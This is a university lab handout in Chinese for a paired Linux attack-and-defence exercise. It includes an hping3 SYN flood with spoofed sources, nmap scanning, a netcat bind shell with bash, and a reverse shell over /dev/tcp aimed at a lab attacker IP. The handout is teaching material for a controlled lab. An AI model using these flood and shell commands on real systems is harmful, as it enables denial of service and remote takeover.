華中科技大學

“网络安全综合实验（I）”实验指导

题目：Linux 网络安全攻防 1

1　实验八：Linux 网络安全攻防 1

1.1　实验环境及要求

1.1.1　实验平台及说明

虚拟机：Vmware 15 或者 VirtualBox；

操作系统：kali Linux；

实验分组

本实验 2 人一组，同组成员：_____ 、_____；

分组：要求两位同学一组，如果班级总学生为单数，每班可以有 1 组包括 3 名同学；组内同学每人独立完成实验报告；组内团队协作、相互讨论；

参考资料：Linux 自带帮助命令 man、课程群文件共享资料、其他在线文档资源。

提交时间及文件说明：本实验环节，每位同学提交独立完成的实验报告电子版一 份；按指导老师要求的时间和方式提交；文件名：U2019XXXX（学号）-姓名-网 络安全综合实验（I）Linux 网络安全攻防实验。

报告格式要求：正文为宋体小 4 号，段首缩进 2 字符汉字，行间距 1 倍行距，字 符间距为标准；图保证清晰大小合适；每页尽量不留大段空白。图片需要编号及 命名；正文、图片、参考文献的格式，请参考华中科技大学毕业论文规范中关于 排版的要求。

文档中包含的内容：

1 封面首页信息及作者、完成时间； 2 完成任务的过程， 可在任务书的基础上进行改写，补全主要截图及相应的过程说明文字；3 小结： 总体感受、实验中遇到的最突出问题及收获、对实验环节的意见和建议；4 实验中为解决问题，查阅资料，请记录资料出处，包括资料名次、页码、网址，作为 参考文献部分列表给出； 5 参考网络上资料的，请通过浏览器的打印功能，以 pdf 文件方式保存；资料可归档为：参考资料.zip，与报告一并提交。

截图要求：实验过程中，请你们各自保留实验中虚拟机桌面截图，报告中配上相应的说明文字；命令终端字体 较小，请放大字体后再截图；

1.1.2　实验场景设置

现在大多数服务器都是采用 linux 系统，作为服务器就可能遭受来自外面的扫描与攻击。

你作为一个服务器管理员，需要保证服务器的正常运行，监控异常情况，并找到不怀好意的入侵者。

根据场景，需要你完成以下操作，作为 Linux 网络安全攻防实验 1 通关考核。请和你的同组伙伴一起完成，遇到问题，可以进行讨论、查阅资料。

1.2 实验任务（共 5 个任务关卡）

本次实验按小组进行，2 人一组，1 个作为攻击者，另一个作为防御者，用来攻击的主机成为攻击机，被攻击的主机被称为目标机（靶机）。

1.2.1 任务 1 了解自己的系统（攻击机+靶机）

1) 两位同学的物理机采用同种方式上网（都用有线，或者都用学校无线网，或者用同一个热点），虚拟机的网卡设为桥接模式，最终目的是同组的两位同学的 Kali 虚拟机能互相 ping 通。
2) 用 kali 用户目录的.bashrc 文件，在最后增加一行：
   export PATH=/bin:/sbin:/usr/bin/:/usr/sbin:/usr/local/bin:/usr/local/sbin
   参考命令：cd /home/kali
   echo “export PATH=/bin:/sbin:/usr/bin/:/usr/sbin:/usr/local/bin:/usr/local/sbin” >>.bashrc
   是为了每次 kali 用户登录的时候自动设置 PATH 环境变量，这样执行系统可执行程序目录下的程序时不用带路径(下一次 kali 登录时有效)，想要立即生效的话，就执行一下上述那条 export 命令，执行完以后可以用 export |grep PATH 查看。
3) 通过 ifconfig 命令查看自己的 ip 和 mac 地址
   参考命令：ifconfig

```
kali@kali:~$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.42.128  netmask 255.255.255.0  broadcast 192.168.42.255
        inet6 fe80::20c:29ff:fedd:ff6b  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:dd:ff:6b  txqueuelen 1000  (Ethernet)
        RX packets 308  bytes 58383 (57.0 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 160  bytes 23591 (23.0 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 60  bytes 3017 (2.9 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 60  bytes 3017 (2.9 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

4) 通过 route 命令查看默认网关的地址；

   参考命令：route -n

5) 通过 arp 命令查看网关的 mac 地址；如果没有网关的 mac 地址，先 ping 一下网关，再用 arp 查看

1.2.2 任务 2 搭建网络环境（攻击机+靶机）

6) 从攻击机 ping 靶机，如果不能 ping 通，调整虚拟网卡模式为桥接模式，直到 ping 通靶机（此任务不完成的话，后面的任务无法进行）

7) 在靶机上启动 apache 和 mysql 服务，从攻击机测试靶机的 web 服务是否可以访问

   命令：kali@kali:~$sudo service apache2 start

   kali@kali:~$sudo service mysql start

   可以用 netstat 命令查看 80 端口、3306 端口是否处于监听状态

   命令：kali@kali:~$netstat -nat

1.2.3 任务 3 向目标主机发动攻击（攻击机）

8) 用 nmap 扫描靶机，查看该靶机打开了哪些端口，操作系统是什么操作系统；

   参考命令：kali@kali:~$sudo nmap -sS -sU -T4 *目标主机 ip*

   常用参数：

   -sS 是用 tcp syn 连接方式进行 tcp 端口扫描

   -sU 扫描 udp 端口

   -T4 扫描等待的时间为 4ms

   -O 扫描操作系统

nmap 更多的使用方法可以 man nmap 查看帮助

9) 用 hping3 向靶机的 tcp 80 号端口发动 syn-flooding 攻击，可以尝试不伪造源地址和伪造源地址两种方式。

   syn flood 攻击:

   hping3 -c 1000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.1.12

   -c： 发送的报文数

   -d: 数据大小，默认为 0，如果做 syn-flood 攻击，可以不用带数据

   -S: 设置 tcp 的 SYN 标志，表示建立 tcp 连接请求

   -w: 设置 TCP 报文的窗口字段

   -p: 端口

   --flood: flood 攻击

   --rand-source: 进行源地址欺骗，地址为随机地址

   更多使用方法可以阅读：https://www.cnblogs.com/Hydraxx/p/10471454.html

10) 执行上面的任务时，打开浏览器，测试是否还能访问靶机的 web 服务

1.2.4 任务 4 监控主机系统的运行（靶机）

11) 在同组同学执行任务 3 的同时，防御方用 top 命令查看系统内存、cpu 运行情况，哪些进程占用内存和 cpu 比较多，能否找出哪个进程在被攻击;

   参考命令：top

   top 命令执行以后，会一直运行， ‘H’显示线程，’M’按内存排序， q’退出，按‘h’可以查看更多帮助

12) 运行 netstat 命令，查看系统当前哪些进程对外通信，其通信地址、端口分别是什么，能否找出被攻击的端口;

   netstat -na 查看所有端口

   -t 查看 tcp 端口

   -u 查看 udp 端口

   -p 查看使用端口的进程

更多参数可以用 man netstat 查看帮助

13) 启用 wireshark 监听报文，在攻击者不伪造源 IP 的情况下能否找出攻击者？在攻击者伪造源 IP 的情况下，还能否找出攻击者？

14) 考虑到很多 linux 服务器并没有图形界面，linux 提供了命令行方式的监听软件 tcpdump

参考命令：tcpdump -i　eth0　在 eth0 接口上监听

tcpdump -i　eth0 -n -vv tcp 在 eth0 接口上监听 tcp 报文，并将报文信息显示在屏幕

tcpdump -i eth0 -n -vv tcp port 80 监听 tcp 80 端口的报文

tcpdump -I eth0 -n -vv tcp -w file.pcap 监听 tcp 报文，并写入文件 file.pcap，这个 pcap 文件也可以用 wireshark 文件打开进行解析。

更多参数可以 man tcpdump

1.2.5 任务 5 瑞士军刀 netcat 的使用（攻击机+靶机）

netcat 是网络工具中的瑞士军刀，它能通过 TCP 和 UDP 在网络中读写数据。通过与其他工具结合和重定向，可以在脚本中以多种方式使用它。使用 netcat 命令所能完成的事情令人惊讶。

netcat 所做的就是在两台电脑之间建立链接并返回两个数据流，在这之后所能做的事就看你的想像力了。你能建立一个服务器，传输文件，与朋友聊天，传输流媒体或者用它作为其它协议的独立客户端。

假如：攻击机 IP 为 192.168.1.2　靶机 IP 为 192.168.1.3

15) **端口扫描**，扫描靶机的 1-1000 端口

参考命令：nc -z -v -n 192.168.1.3　1-1000

可以运行在 TCP 或者 UDP 模式，默认是 TCP

-u 参数调整为 udp.

-z 参数告诉 netcat 使用 0 IO,连接成功后立即关闭连接，不进行数据交换，用于扫描

-v 参数详细输出信息

-n 参数告诉 netcat 不要使用 DNS 反向查询 IP 地址的域名

这个命令会打印 1-1000 所有开放的端口。

16) **聊天**：一个在端口监听（Server），另一个主机（Client）向该端口建立连接，两台主机之间互发信息进行通信，实现聊天功能

Server：nc -l -p 3000　　//表示在 tcp 3000 端口监听

Client：nc　serverIP　3000　//连接服务器的 3000 端口

在两台机器之间就可以发送信息了

17) 传输文件，将客户端的 file.txt 文件传到 server 上

Server：nc -l -p 1234 >file.txt　　//将从端口 1234 获得的数据写入 file.txt

Client:　nc serverip 1234 <file.txt　//将 file.txt 文件内容传到服务器的 1234 端口

将 tcpdump 监听保存的 pcap 文件从靶机传到攻击机

18) 执行靶机的 Shell（正向 shell，由 client 向 Server 建立连接）

靶机: nc -l -p 1567 -e /bin/bash

攻击机: nc 192.168.1.3 1567

然后就可以在攻击机上输入命令，该命令在靶机上运行，并且在攻击机上显示命令执行的结果。

攻击机上尝试输入一下 ls，cd 到别的目录，再 ls

/sbin/ifconfig 查看靶机的信息

19) 反向 shell

反弹 shell（reverse shell），就是控制端监听在某 TCP/UDP 端口，被控端发起请求到该端口，并将其命令行的输入输出转到控制端。reverse shell 与 telnet，ssh 等标准 shell 对应，本质上是网络概念的客户端与服务端的角色反转。

通常用于被控端因防火墙受限、权限不足、端口被占用等情形。

举例：假设我们攻击了一台机器，打开了该机器的一个端口，攻击者在自己的机器去连接目标机器（目标 ip：目标机器端口），这是比较常规的形式，我们叫做正向连接。远程桌面、web 服务、ssh、telnet 等等都是正向连接。那么什么情况下正向连接不能用了呢？

有如下情况：

1.某客户机中了你的网马，但是它在局域网内，你直接连接不了。

2.目标机器的 ip 动态改变，你不能持续控制。

3.由于防火墙等限制，对方机器只能发送请求，不能接收请求。

4.对于病毒，木马，受害者什么时候能中招，对方的网络环境是什么样的，什么时候开关机等情况都是未知的，所以建立一个服务端让恶意程序主动连接，才是上策。

那么反弹就很好理解了，攻击者指定服务端，受害者主机主动连接攻击者的服务端程序，

就叫反弹连接。

攻击机(192.168.1.2)上监听：nc -lvp 5566

靶机上运行：bash -i > /dev/tcp/192.168.1.2/5566 0<&1 2>&1

bash -i：代表交互性

>/dev/tcp/192.168.1.2/5566： shell 的标准输出被重定向到 192.168.1.2 的 5566 端口。标准输出用描述符 1 标识

0<&1：文件描述符 0 表示标准输入，表示从 tcp 连接获得 shell 的输入

2>&1：文件描述符 2 表示错标准错误，将错误输出重定向到 tcp 连接。

在攻击机上获得的 shell 中运行/sbin/ifconfig 查看地址是否是靶机的地址

1.2.6 扩展阅读：

反弹 shell 原理与实现：https://www.cnblogs.com/iouwenbo/p/11277453.html

Netcat-瑞士军刀：https://blog.csdn.net/weixin_30621711/article/details/97452880

hping3 的使用：https://www.cnblogs.com/Hydraxx/p/10471454.html

2　小结：学习心得与体会

学生自己总结本次实验的内容，心得体会，意见和建议。

参考文献：

这部分要求学生把查阅的资料整理出来，并附上 pdf 归档包，作为积累的内容。